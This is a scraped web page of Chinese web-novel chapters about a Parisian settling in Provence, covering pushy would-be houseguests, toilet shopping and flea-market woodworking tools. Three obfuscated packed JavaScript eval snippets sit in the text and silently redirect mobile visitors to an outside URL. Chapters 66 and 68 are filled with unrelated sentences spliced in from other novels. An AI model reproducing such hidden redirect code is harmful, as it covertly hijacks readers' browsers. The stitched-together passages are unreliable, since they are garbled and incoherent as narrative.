“不任止劳任怨。”法比安喝了一口冰镇啤酒,“虽然我不认识其他巴黎人,但我知道巴黎人不是这样的。” 罗南才搬到普罗旺斯两个多月,前面几个月又是农闲时期,农夫们只知道他爱喝酒而且挺有钱的,对他的秉性和为人处事了解的并不深。 他能看出罗南是真的喜欢作物,也了解作物,并不是抱着玩一玩的态度。 “你不认识巴黎人,如何判断罗南不像巴黎人?”皮埃尔问出了一句极其拗口的问题。 法比安喝了一口啤酒,耸肩的同时把下巴向前突出去,嘴角下撇: “他一点都不令人讨厌,也很有分寸感。” 这是耸肩的另外一 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阔别许久再次听到熟悉的巴黎口音让罗南倍感亲切,即使不知道对方是谁,还是礼貌的先回答了‘是的’后,才反问: “你是哪位?” “托尔。”对面那人热情的回复着。 托尔是罗南的高中同学,属于不是很熟的那种,只在知道罗南要去普罗旺斯居住后,和他通过一次电话。 罗南把他在普罗旺斯的座机号码告知过其他关系不错的高中同学,因此托尔有他的新电话并不稀奇。 “你好托尔,有什么事吗?”罗南颇为意外的问。 “你劳动节那几天在家吗?”托尔语气非常欢快。 “应该在家。”罗南并没有要出去旅行的计划,他方圆几百公里内全是风景。 “哦,那太好了。”罗南听到电话里托尔激动拍手的声音,“我在考虑劳动节去普罗旺斯玩。” 一个微小的停顿后,托尔继而问道: “我可以去......拜访你吗?” “啊?”罗南慌乱的环顾四周。 你的意思是说,我这个除了厨房和餐厅区域,可以用‘家徒四壁’来形容的家......要来客人了? 而且就在一个多月后?? 第63章 抓狂的罗南 托尔的电话像是打开了某种魔法开关。 在接下来的一周里,罗南又陆续接到五六通电话,现在他一听到巴黎口音就紧张。 电话内容基本是一样的‘结构’。 首先是尴尬到令人脚趾抽搐的寒暄,对方会想尽一切办法证明‘我们其实很熟’,如果罗南不这样认为,那一定是他记性不好...... “还记得我们在1982年那个灰蒙蒙的午后,一起讨论过法国一台的足球比赛吗?哦,那可真是场糟糕的比赛啊。” 接下来会不经意的询问,你复活节/劳动节/几月几号是否在家。 无论罗南如何回复,对方都会满怀期待的说: “我正在考虑去普罗旺斯玩玩......” 而且罗南发现,这些人所讲的‘拜访’绝不是他理解的‘拜访’那么简单。 “这是我的第一次普罗旺斯之旅,人生地不熟,电视上说那里住宿很难找......不知道你那里可不可以接纳6口人?你家应该能洗热水澡吧?” 最令罗南崩溃的是,打电话的人中,托尔居然是他最熟悉的一个人,他甚至接到了前同事的同事、大学同学女朋友的妈妈、点头之交都算不上的邻居的电话......这些人无一例外希望在普罗旺斯和他好好叙叙旧。 但罗南在巴黎生活了22年,他们从来没想过在同城和罗南叙旧,也从未表现出来过热情! 逐渐意识到情况不对后,罗南也改变了应对之法,用各种偶然、不可抗、紧急的情况推脱他们的热情。 但这些人已沉浸入普罗旺斯的阳光、免费食宿和免费导游的美梦中无法自拔,哪是一两个简单理由就能解决掉的? “那周要外出?没关系,我们可以晚一周去,这正好可以和旅行高峰人潮错开。” “你说有工人在装修?不要紧,我们白天不在家,只在晚上回去。” “什么?野猪攻击村民,马路上有很多大坑,村里经常断电,你家狗见人就咬?没有关系,统统没有关系!我们一定可以克服的!” ...... 冬天,农夫们没有事做,要来老酒馆喝两杯。 春天,累了一天,也要来老酒馆喝两杯。 总之,一年四季他们总能找到合理的理由离开老婆孩子,来到属于男人的世界。 罗南把最近的‘恐怖’经历分享给皮埃尔和特奥。 “该死的,又到了旅行的季节!”特奥拍了一下桌子,“每年的四月到八月,普罗旺斯可以用‘杂乱无章’来形容!” 皮埃尔也笑不出来了,严肃又好心的提醒罗南: “到了旅行季,运气不好的时候从卢尔马兰开车到梅纳村需要一个多小时,记得去集市的时候早点出发。” 卢尔马兰村不少人知道了罗南在梅纳村卖中国美食的消息。 而在最新一周的集市上,罗南的营业额涨了10%左右,不仅有老顾客光临,还有老顾客推荐来了新顾客。 事实证明,锅包肉在普罗旺斯绝对有市场,缺的只是时间。 目前的经营情况很符合罗南的预期,哪儿有什么新的东西一经推出马上就能引爆市场的? 让口碑和弗雷迪再发酵一会,罗南判断在旅行高峰到来前,他的新生计可能会有一次大的‘飞跃’。 罗南又点了一杯粉红酒,他现在愈发喜欢这款酒的口味。 刚开始农夫们笑话他喝女士酒,罗南天天喝、天天喝......他们嘲笑累了,也就不说了。 今天特奥不知道是不是脑袋抽风,也点了一杯粉红酒,之后的嘲笑对象变成他了。 特奥有严重的逆反心理,又点了好几杯,说要气死他们。 他喝了一口粉红酒,咧着嘴对罗南说: “到时候你就知道那种痛苦了。” 罗南也跟着一起咧嘴: “我现在就体会到那种痛苦了。” 你们只是被堵在路上,我可能会被堵在家里! “你最终答应让他们来了?”皮埃尔同情的问。 罗南摇了摇头: “我只同意了一个同学的请求,其他人都‘礼貌’的拒绝了。” 托尔只有一个人,而且是第一个打来电话的。 皮埃尔忧心忡忡的说: “不要把事情想的太乐观,他们能找到你的电话号码,就能找到你家的地址,你如何确定没有人会直接登门拜 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如果要招待客人,他需要买两张床、两组衣柜、至少十把椅子、两套床上用品、若干日用品......再把楼上楼下的所有马桶换了,这还只是最基础的! 如果条件允许,最好再把地板换成新的,全部的墙壁也粉刷一遍。 一想到添置这么多东西、做这么多的事情,只是为了那些一辈子可能只有这一次交集的人,罗南就感觉无比抓狂。 但他已经答应了托尔的请求...... 所以这是无法逃避的现实——他必须在一个多月内把家打理好。 罗南整顿好思绪,给自己打气道: “你可以的,现在只是需要一点让自己行动起来的动力。” 但是什么‘伟大’的动力可以让罗南心甘情愿的做这些呢? 突然,他一个鲤鱼打挺坐起来: “不如邀请父母来过复活节?” 给别人花钱他没动力,但给父母花钱他愿意。 早晚要把父母接过来,这些事情也早晚要干。 尽快让他们来一次普罗旺斯,还能借此机会修复和父亲的关系。 “就这么决定了!” 第64章 与马桶斗智斗勇 罗南没有第一时间向父母发去邀请。 复活节在四月中下旬,劳动节以前,距离现在还有一个月的时间,他打算把东西准备的差不多了再联系他们。 而且这段时间他频繁出入于全卢尔马兰村各块田地间帮忙,说不准中间会出现什么变故,小心驶得万年船。 “没想到又在这里看到你了。”曾和罗南一起做填土工作的康奈尔发出了一声感叹。 山谷间确实有一套合作制度,但现在谁家地里的活儿都不少,能挤出来时间帮忙的是少数。 但大部分集体活动里,都能看到罗南和康奈尔这两个人的身影。 “你不是也来了吗?”罗南学乖了,戴上了帽子。 “我还没有属于自己的地,但你有葡萄园,而且——”康奈尔耸肩,几次合作下来,他觉得和罗南算熟人了,“而且你那么有钱。” 他不知道罗南现在在集市上能赚多少钱,但罗南卖松露时一周就可以赚到他们一年的收入! 我的上帝,这么有钱的家伙,居然热衷于在地里挥洒汗水? 卢卡斯有钱后再也没来地里干过活。 罗南摘下帽子,给自己扇风: “电视里的知识是有限的。” 田地里每个皮肤黝黑的农夫,都是一个不输于系统的‘老师’。 谁能保证现实里就没有系统不知道的东西呢? 尤其在他没有精力把【种植】升到3级的情况下......只能多多学习,多多请教了。 现在的经验值异常宝贵,罗南决定在有明确的目标前不再轻举妄动,好好攒起来。 “好吧。”康奈尔又耸了一下肩膀,换了另外一个话题,“今天又是插葡萄枝,这半个月有谁家种的是其他作物吗?” 莫力酿酒合作社获批品牌的消息,刺激了卢尔马兰村的所有农夫。 无论是种西瓜的,还是种蔬菜的,现在统统改种葡萄,生怕自己赶不上这次发财的机会。 “哎——”罗南长长叹了一口气,开始为秋季的收成担忧起来。 希望莫力酿酒合作社努努力......能把所有葡萄都收走吧。 “这些葡萄只能制作成红葡萄酒吗?”罗南问康奈尔,这家伙每年冬天会去酒庄工作一段时间。 莫力酿酒合作社只生产红葡萄酒。 但皮埃尔说,普罗旺斯地区有十几种不同种类的葡萄,每一种种植的人都不少,罗南家葡萄园里的品种叫歌海娜。 “当然不是。”康奈尔指着卡车上今天要插的葡萄枝给罗南解释,“这些是赤霞珠,它能酿红葡萄酒也能酿粉红酒。” “还可以这样?”罗南对酿酒毫不了解。 康奈尔很珍惜在有钱的罗南先生面前卖弄学识的机会: “普罗旺斯地区主要的葡萄品种有:西拉、歌海娜、神索、堤布宏、慕合怀特、佳丽酿、赤霞珠、侯尔、白玉霓、克莱雷、赛美蓉、布布兰克,这其中歌海娜、慕合怀特、西拉、神索、赤霞珠既可以酿红葡萄酒也可以酿粉红酒。” “西拉提供颜色;单宁给酒增添香气;歌海娜在普罗旺斯最普遍,它能提供红色水果的香气和饱满的酒体,陈年后还会有腌肉的味道;神索是普罗旺斯原生品种,也是食用品种,它带有浓烈的果味;堤布宏是酿粉红酒的第一选择;佳丽酿果串小,果实颗粒紧致,但喜热,生长缓慢,在微风的吹拂下能更快的成熟,因此适合种在石灰岩土壤上;佳丽酿更加适宜种植在贫瘠的土地上,但普罗旺斯的土壤太肥沃了,所以产量不大,它能给葡萄酒带来有活力的颜色......” 罗南听得目瞪口呆。 果然每个农夫都可以是他的老师啊......连平平无奇的康奈尔都能传输给他这么多知识。 “康奈尔,如果我未来有了酒庄,一定会请你去工作的!” ...... 最近罗南的体力提升不少,今天晚上有力气留在葡萄园主家享用丰盛的晚餐了。 天气热起来,白天可以达到25度,大家拿冰镇啤酒当水喝,下午罗南喝多了‘水’,晚上又喝了不少酒,难免会借用主人家的厕所。 其实罗南非常害怕去陌生的厕所,因为他有过太多次‘恐怖’的经历。 普罗旺斯地区采用的马桶叫‘土耳其式马桶’,听说是土耳其的一个设计师为了让人感到方便而设计的,但在罗南看来它真是太‘方便’了。 ‘土耳其式马桶’的主体是一个浅浅的陶瓷盆,中 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不到万不得已,罗南绝不会进陌生的厕所,指不定里面有什么在等着他。 但很遗憾,现在就到了万不得已的时刻。 不过好消息是,这里表面上看起来非常干净。 一分多钟后,罗南退到了门口位置,他选择使用第一条使用规则。 好在厕所不大,罗南的手臂长度可以摸到冲水杆。 下一秒,像利剑一样冰冷的水柱冲击到他的脸上、他的胸膛上、他的下体...... 主人听到厕所里的异响,紧张的跑到厕所门外: “该死的,喝多了忘记提醒你,我们受够了‘土耳其式马桶’的折磨,把它进行了改良,冲水管可以拿起来使用调整角度,你如果不拿起它,它会变成一个花洒。” 一门之隔内。 罗南气到颤抖。 他这辈子再也不想见到‘土耳其式马桶’了,再也不! 罗南耳边似乎已经听到了爱干净的母亲被它吓出的尖叫声。 换马桶的计划必须提到第一步!! 第65章 皮尔卡丹 罗南回到家马上给路易打电话。 他不信普罗旺斯找不出一个正常的马桶! 路易给出了一个意外的答案: “还记得西蒙吗?就是那个暖气商,他除了卖暖气还卖马桶。” 罗南顿时有了不好的预感。 那个家伙卖的东西可都不便宜啊。 ...... 第二天。 罗南时隔两个月再次给西蒙先生打去电话。 “哦,罗南,我记得,我记得你!天气暖和起来了,我们可以聊聊暖气方案了!”西蒙热情的回应。 “这次不是买暖气,我想看看马桶。”罗南让语气保持在最平和的状态,丝毫不敢表露出他的迫切,这样在未来有可能的砍价环节就可以占据主动了。 他现在手里的钱并不富裕,一切都要精打细算。 “我家有一些马桶样品,还有很多产品手册,你随时可以来看看。”西蒙向罗南发出邀请。 “今天下午可以吗?”罗南想尽快把这个麻烦解决掉。 “你选择了一个非常棒的时间段,我太太正在准备手风琴音乐会,我们可以一边聊生意,一边欣赏她的手风琴表演......”西蒙开始滔滔不绝起来。 罗南无语的闭上眼睛。 在众多马桶环绕中欣赏手风琴......还能有比这更‘美妙’的事情吗? 不过,他怎么记得西蒙的太太是弹钢琴的? ...... 事实证明,西蒙太太无所不能。 在参观马桶前,罗南被邀请去了客厅,欣赏西蒙太太的各种乐器。 手风琴、萨克斯、钢琴、手鼓......吹的、拉的、弹的、唱的一应俱全。 观看了半个小时表演后,罗南联想到了上一世看过的一部英国电影——《跑调天后》。 “精彩,精彩,精彩!”西蒙起立鼓掌。 罗南也向西蒙太太送去赞赏: “如果我妈妈也能有如此高的音乐素养,我该会多么的幸福啊。” 至此,西蒙才满意的把罗南放走: “我们去看看马桶。” 谢天谢地,西蒙太太没有拉着手风琴跟来! ...... 西蒙的暖气和马桶堆放在外面的仓库里。 “我不想要‘土耳其式马桶’。”在路上,罗南直接表达他的需求。 “我承认法国人做锅炉不行,但他们制作的高级马桶不输世界上任何一个国家,我这里没有土耳其货。”说着,西蒙打开了仓库门。 罗南心里顿时涌起不好的预感。 无论是现在还是未来,法国都没有出过什么著名的卫浴品牌,德国、美国和日本的卫浴品牌做的更加成功。 果然,仓库里陈列的这些马桶,不是大红色就是明黄色,上面还刻着繁复的花纹和图案。 它们更像是艺术品,而不是家居用品。 罗南幻想了一下坐在这些‘花瓶’上的心情: “有没有纯白色,上面什么花纹都没有的?” 西蒙嗤之以鼻的摆了摆手: “这几年法国卫生设备正在进行大革命,设计师们纷纷采用大胆的样式和色彩,不再使用白色,这是未来的流行。” 罗南找到法国卫浴失败的原因了,显然大革命失败了。 “大革命以前的产品没有了吗?”罗南没有气馁,巴黎的马桶都是正常的,不可能大革命只在普罗旺斯进行。 “哦,我想想......”西蒙在仓库角落箱子里放着的杂乱产品目录里翻找起来,“我记得好像有一些白色的马桶。” “这里!”西蒙把一本产品目录甩到罗南脸上,指着上面的某一张照片说,“你运气真好,这批马桶一直没有卖出去。” 罗南定睛一看,照片的最下方赫然写着几个大字——皮尔卡丹。 “皮尔卡丹?”罗南拿离近了些,“是那个皮尔吗?” 皮尔卡丹是一位意大利籍服装设计师,但他在法国发家,而这位老先生在中国的名气同样不小。 罗南远在中国的舅舅曾在电话里自豪的说,他买了一件皮尔卡丹的新皮衣。 西蒙平坦双手: “还能有哪个皮尔卡丹?这是他亲手设计的。” 罗南诧异的问: “他还设计马桶?” 西蒙‘哈哈’笑了几声: “他们有钱人不都是这样?觉的自己可以做好一切,我在拉克斯特村的咖啡厅里见过他两次,即使隔着十米远,也能闻到他身上高傲的味道。” 拉克斯特村在‘金三角’区域,那里有一间矗立了百年的老城堡,是罗南一直想去的目的地。 但佐伊告诉他,那个城堡被有钱人买下了,变成了私人物品。 两者一结合,不难联想到一起去。 “皮尔卡丹先生也在吕贝隆买房子了?”罗南问出了心中的推测。 “买了,买了很多,他在吕贝隆有几十处房产,‘收藏房子’是有钱人的爱好之一。”西蒙对此见怪不怪,“如果想找他聊聊,可以在周一的下午去拉克斯特村教堂广场的咖啡厅,他每周都在那里。” 普罗旺斯那些其貌不扬的小村子,真是卧虎藏龙啊......罗南不禁腹诽起来。 不过他暗自记下了这个信息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860023|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一有用呢? “他设计的马桶为什么卖不出去?”罗南继续问道。 这种国际大师的设计,应该很受欢迎才对,而且罗南在巴黎从没见过这东西,难道是普罗旺斯限定? 西蒙咂了几下嘴: “所以说他是个高傲的家伙,马桶上有一个他的巨大签名,还是在内壁里!谁想在‘皮尔卡丹’的注视下上厕所?这款马桶还未走出普罗旺斯就停止生产了,真是个糟糕的产品!” “它贵吗?”与恐怖的‘土耳其式马桶’相比,罗南并不介意被皮尔卡丹先生注视,至少那很干净,他在意的是价格。 西蒙收敛起个人情绪,变得专业起来: “900法郎。” 罗南遗憾的摇了摇头: “抱歉西蒙先生,你这里并没有合适我的马桶,我要再去‘索格岛’看看。” 索格岛有全世界第三大的跳骚市场,还有很多旧物商店。 一旦普罗旺斯人对你说‘我要去索格岛看看’,代表他的钱包并不富裕,要去买二手货了。 “索格岛啊......那里确实有不少选择。”西蒙的眼睛飘忽起来,追上离开的罗南,“你需要几个?” “三个。”罗南耸肩,“这可是一笔不小的支出。” 西蒙点点头,随意的说: “这些卖不出去的东西完全可以按照‘处理品’的价格售卖,你知道的,它们很占地方。” 罗南无所谓的说: “也许吧。” 西蒙跟罗南走到他的车前: “也许我可以问问厂商,看他们是否同意?” 罗南坐进驾驶室,打着汽车: “其实我很介意它的签名设计,那很怪不是吗?如果它的价格超过450法郎,我宁愿去买二手的,你知道的,它们坐起来一样。” “明白,明白。”西蒙对罗南招了招手,“我会把你的意见转达给厂商。” ...... 当天晚上。 西蒙的电话如期而至。 “谢天谢地,虽然这很困难,但我还是把厂商说通了,他们决定尽快空出地方来放更好卖的产品,可以以450法郎的价格‘甩卖’这批商品。” 罗南一阵后悔。 这小老头到底是留了多少利润啊...... ‘砍价砍一半’策略都保守了? 约定好送货和安装时间后,西蒙没有着急挂电话: “我们要不耍再聊聊暖气计划?现在是动工的最好月份。” “不了,我已经决定去索格岛看看,相信那里有我需要的所有其他东西。”罗南急忙挂断电话。 第66章 你不会是认真的吧? 不仅仅能够在这么短的时间里面看出幻天云烟阵,而且年纪轻轻,竟然有着如此不凡的心境修为,即使换做‘阴’阳二老自己,他们也难以保持这般平静的心态吧。 妒忌是什么样的,他幼年见过很多。听到薛洹之的消息时,他在齐靖身上感受到的是气愤,而不是妒忌。 见此,秦逸呵呵一笑,这个时候,秦逸与飘渺两人的身体,正好处在被石柱攻击的方位。 “呵呵,我是谁,我乃是名震九界的逍遥道长这点事情如何难得了我。哈哈哈……”说道后面王晨竟然独自笑了出来。 “……见过陛下……”几个高低不同的音‘色’中,一个隽醇的男中音特别显耳。几道视线就同时投向了那位男子。带着些期待。 过了一段时间,美九挂着一副泳镜走了出来,见到这幅波涛汹涌的景象,连夜也是暗暗的倒吸了一口气。 时空悖论上的,或许会产生,但是连夜现在显然无心去思考这种无聊的事情,反正连夜现在注重的,是攻略时崎狂三本身这一点。 “这里也没有什么好东西,看来今天要败兴而归了。”闫亦心苦笑着摇头。 原本我们来时也不过才走了几分钟而已,可是在我连续后退了近十分钟后,发现任然没有回到门口。 “妈,我和兰斯一定会查出害死爸又害了我们公司破产的凶手!”叶安安眼圈红红地说道。 在她看来,错了就是错了,没有那么多为什么,即便心里也会有委屈。 然而此时,林爱红也是靠着自行车的支撑,身子才没有软跌在地上。 “有话尽管直言,不必如此吱吱唔唔的,你还是柱国之臣,像尔等这般,如何去样榜户部?”皇帝生气质向道。 可她就是不服气,怎么说着说着,他全都有理,好像自己说的都是错的一样。 这草丛走出没有多远,只见这前面横七竖八的枝条上,全是扎人的刺笼,众人顿时停止了下来,面面相觑而望。 “沈虚,你不能在使用这把剑了,再这样下去你会死!你的身体会因为承受不住这股力量而炸裂的!”虚魄在我体内严厉的警告着我。 想也知道,如此珍贵实用的丹药有多么宝贝,又需要多少珍贵的药材才能够炼制出来。就算他一辈子的俸禄也买不起这丹药。 洛安安的身子一颤,那只爪子也缓慢的朝着自己的肚子抓下去,然而就在利爪即将碰触到它的皮毛时,却始终无法再下沉一分。 那么正清大师一口咬定少林派十余个俗家弟子的死法跟他杀死那些黑白蒙面的刀口一致,难道还有其他人用着青城绝天式杀人?这里面透着古怪。不过,他一时半会也想不明白。 “话也不能这么说,他弟弟是他弟弟,白兄是白兄,咱们跟他待在一起那么长时间,他倒也没怎么为难咱们,想起来我还喝了他几坛好酒呢!”连云城说着又喝了一大口,然后看着酒竟然没了,随意的扔了出去。 范蠡看向王昊,见他除了长相颇好之外,并没有什么过人之处。又见西施美貌,听了东施的话,心中也有意动。 “逃?用得着么,不就是一个没人承认的乱臣贼子?袁耀,你今日惹到我,该你倒霉。”王昊笑道,带着甄宓走了上去。 但是,眼下,最紧要的还是保存实力,打探杀虎帮的下落,千万不可冲动行事。杀虎帮在暗处,咱们在明处,又加上还有魔教在暗中挑拨,一切事情还需长远来看为妙。 刑天使用的武器是戚,是一种巨斧;还有一块青铜方盾,古代称为干。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860024|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话分两头,却说萧蔷带着王昊回了自己的房间,萧蔷请坐之后,这才自己坐下。 激活方法:鼠标右键点击符石。为避免误操作,激活符石时需要进行确认。 原来,在解放军冲进来把官兵们包围的时候,至尊宝就已经发现了沈师爷不见了。他猜测按照沈师爷的个性,一定是看到大势已去,所以已经事先躲在某个角落中等待逃跑了。 大魔法师挥舞着手中的法杖,将总计1800伤害的魔法神箭砸在了最前面怨灵的身上,轰杀了六个单位!但这点损伤对于总数120单位的怨灵来讲,根本没造成什么影响。 韩锋两眼血红的盯着对面的邪恶法师,憋了很久的必杀神鬼乱舞,终于释放了出去,不过这次并没有火力全开,只耗费了不到600点生命就把残余的石人砍成了碎片。 至尊宝他们现在距离怀岳城只有五里地,却不知道前面和后面都有危险在慢慢临近他们。 刘氏族人满怀期望在王府待了几天,可惜最终等到的结果只是马秀英赏赐了他们一些金银,并派人随他们回去把刘大善人夫妻的衣冠冢回祖坟。 可那时候这士兵都在把守,忙的不可开交,便找了一些百姓去抬,在拿了一些钱银出来,有些人虽然不愿意,可终究知道那些死去的人,是为了保护自己,便去抬了尸体。 “终止轮回之力?呵呵,众神之王奥丁都没办法破除的轮回之力,你又如何能够破除?”塔南说着不置可否的笑了起来。 众人皆赞同李善长的建议,朱元璋便按捺住激动的心情,先命胡大海走一遭,并嘱咐他见了刘基一定要 恭敬客气。 继而,这位道君皇帝接过那份奏章,仔细的看了起来。紧接着,徽宗的面色,顿时变得有些阴沉。 第67章 你们普罗旺斯人到底怎么回事啊 “罗南要自己做家具?”佐伊在心里呐喊出声。 虽然很震撼,但她表面上波澜不惊的蹲到罗南身侧。 她倒是要看看这家伙想干什么。 “全部。”罗南又比划了一下,向摊主证明他没有听错。 2级【建造】让他有了一些浅显的木工基础,但他并没有自大的认为能成功做出一个床或者壁橱。 至少没有动手前不确定。 但跳蚤市场上的东西太便宜了。 佐伊买的2个杯子才花了9法郎,而佐伊自己做的杯子一个要卖109法郎。 万一这些东西很便宜,罗南就买回家试试。 系统给的知识告诉他——电动工具最好用全新的,但手工工具完全可以买二手的。 尤其是一整套完整的工具摆在这里,说明前主人是一个懂木作的人,且大概率会好好保养它们。 摊主依然处于‘不太了解情况’的状态中。 今天一天他只卖出去两个锤子和一个刻刀,其他工具连问的人都很少有,快结束的时候,突然来了个人告诉他‘我要全部’,这谁能信? 来耍我的吧? “1000法郎。”他随便报了个价格,甚至都没有计算。 罗南对旁边的佐伊说: “走吧。” 1000法郎可以买个床了。 佐伊如释重负的说: “谢天谢地,我以为你被买不到合适家具打击的疯了,居然要自己动手做。” 摊主听到这话猛的抬头: “你真的想买?” 罗南站起来: “刚才是,但现在不想了。” “等等,等等!”摊主挽留住即将离去的罗南,“你想要多少钱买?” 吸取了在西蒙那里得到的失败砍价教训,罗南报出了一个价格: “250法郎,这些全部。” 他粗略的数了一下,地上有二三十件工具。 光是锯就有手板锯、开榫锯、燕尾榫锯和弓锯这四种,他还看到了好几个尺寸的欧式手工台刨,可以满足软、硬木各种场景下的制作了。 “它们现在是你的了!” ...... “我是不是还是报高了?”开车回家的路上,罗南越想越气,再次懊恼起来。 一半的一半还那么痛快? 你们普罗旺斯人到底怎么回事啊...... 佐伊无语的反问: “你现在还有心情抱怨价格?买这么多工具干什么?” 后备箱里放的是二人上午摆摊的东西,已经是饱和状态,即使罗南和佐伊两个脑袋一起想办法,也无法把所有工具都塞进去。 而罗南的车前排只有两个座位...... 此刻,佐伊的脚下、怀里、手中、脸旁全部是木工工具。 如果对面开来的司机视力好一些,也许能看到一个‘百臂巨人’坐在副驾驶,而且每个手臂上都拿着危险武器。 “试试自己做家具。”罗南底气并不是很足。 佐伊很想扭头看罗南,又怕碰到旁边的工具,强迫自己目视前方: “你知道做家具有多难吗?木工非常复杂......卢尔马兰村会木作的人两只手数的过来。” 罗南摸了摸鼻子,心虚的说: “但它们很便宜不是吗......试一试不行我再转卖出去。” “你刚刚还抱怨有可能买贵了......”佐伊前倾身体扭头看向罗南,同时车厢内发出‘噼里啪啦’工具互相碰撞的声音。 罗南不敢与她对上视线: “我真的会一些木工,真的。” 佐伊疲惫的摇了摇头,闭上了眼睛不再说话。 罗南偷偷看了佐伊一眼: “我知道村里的木匠在哪里,如果有必要,我会去找他学习的。” ...... 罗南家有一个空置的驴棚,现在里面放的是农用工具。 他把新买的工具和他原先的工具全部搬到这里。 未来这就是他的工作间了。 优先要做的是给工具们分类。 士兵上战场前,首先要知道自己拥有什么武器。 约二十分钟后,地上的工具们已经按照类目站好队。 从左到右依次是: 直尺、卷尺、划线刀、直角尺、量角器、活动角度尺、双头划线器、燕尾榫划线器; 手板锯、开榫锯、燕尾榫锯、弓锯; 各种尺寸的粗刨、光刨、短刨、组合油磨刀石和润滑油; 开榫凿和斜凿; 平底鸟刨、双面平挫、钳子、螺丝刀、木槌、4个形状架、4个拼板夹、螺丝钉若干。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860025|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 罗南低头看着这些工具陷入了短暂的沉思。 他觉得木工的第一个试验品不应该是床或者橱柜,他现在最需要的家具是一个大桌子,一个工作台。 工具们可以暂时摆在地上,但他不能在地上工作。 而且桌子相较于床和壁橱来说,会相对简单一些,适合他这个‘初学者’。 那么现在就出现一个巨大的难题了。 他没有制作工作 台的工作台......如何做出工作台呢? 这问题无异于先有鸡还是先有蛋。 退一万步讲,即使找到了工作台的替代品,做桌子的木材去哪里找? 他从没在卢尔马兰村见过可以使用的木材。 “第一步就要去找木匠请教了......”罗南无奈做出了这个结论。 现在天黑的晚了,罗南想趁晚饭前问到答案。 卖窗户的商人就会木作,他去买窗户的时候看到过很多工具。 ...... 罗南离开家,远远的看到路易那辆老式雪铁龙汽车慢悠悠的开了过来,停在他家门口。 在卢尔马兰,如果不是有特别着急的事,大家不会开车,会选择步行。 路易是有什么着急的事情找他吗? 但罗南万万没想到,开车的人是佐伊。 “你去哪儿?”佐伊摇下车窗。 “我去找木匠。”罗南反问,“你怎么开车出来了?” 佐伊摆出一副‘我就知道会这样’的无奈表情: “上车。” 罗南乖乖的坐上去,发现佐伊送他去的并不是他所熟悉的那个木匠家,而是开到了她家的后院,那里有一个和罗南家驴棚很类似的建筑。 佐伊把车停到那座建筑门口,不给罗南说话的机会,迅速熄火下车,打开了它的门。 罗南无措的跟进去,直接惊呆了。 这是一个非常专业的木工作坊,墙上挂满了各式工具,比卖窗户的商人那里还多的工具! 罗南惊恐的回头,看到佐伊正在咬手腕上的头绳,她两只手向脑后一挥,一头金发像变魔术一样干净的梳到脑后。 “问我吧,我就是卢尔马兰会木作的十个人之一。”佐伊把身后的门关上。 她把褐色牛皮夹克脱下来,随手扔到椅子上: “我看看你会多少。” 第68章 误会?不不,不是误会 离央看着一脸震惊神色的中年男子,开口问道,毕竟他出来好几天了,怕青鸟它们担心。 泱尘右手一挥,随着灵光闪过,在两人的中间多出了一个茶炉以及两个玉杯。 “拂烟和悟苍上去,拂尘留下来陪我扫地,墙角有扫帚”老者看都没看三人,就说道。 最后,涵菡退下阵来恢复,墨白握着手中的魂切,与三幻神展开角逐。 中位居首位,此时也是满脸振奋,有了北国这样给力的盟友,根本不怕其他两个使绊子。 如同潮水一般的暗金色火焰开始在虚空中出现,下一刻就直接淹没向了元震虚的身躯,看到这一击,元震虚也是眉毛挑了挑。 “死门,暗象门门主,荒沌!”大汉非常平静的对视着楚子枫的目光,说道,他心里也有些惊讶,看着倒在楚子枫脚下的鬼见愁,心中一痛,呼吸变得急促起来,惹得身上的肌肉更加的紧绷。 而且,皇帝也不愿意这样的事情公开,因为一个皇帝到一个艺妓那里遇刺,此话说出去,有损皇威。 厨师打了个响指,黄油球体瞬间转化,瞬间就已经变作了透明的液体。 更何况,这十万低阶妖兽之中,还有两只实力强大的七尾天狐,正是黎娇和另一名二代弟子所化,分别是两个光球中最强的存在。 她太好奇了,过了这么多天,她早已忘记星则渊的长相,脑海里更是一片空白。但她记得星则渊只比自己大一点,他既然会有战胜八歧大蛇的实力? 至于说卖钱?他觉得自己暂时不需要了,上一次石墨烯卖了五十个亿,基本上算是解决了他的财务危机,再往后,只要他不搞什么大项目,也不会再缺钱了。 天空中回荡着丹生阳和阴岑子的声音,而后,十二位太阳烛照和十位太阴幽荧的强者飞上天空。 风在吹,鸟在啼,秋虫在低语,混合成一种比音乐还美妙的声音,它美妙得宛如情人的耳边低语。 “皇上,闭海一直以来都是我大明的国策,阉贼们肆意的破坏祖制,造成我大明东南海盗横行,民众深受其害,我皇圣明,请皇上恢复这一祖制。”曹于汴趁热打铁的上奏道。 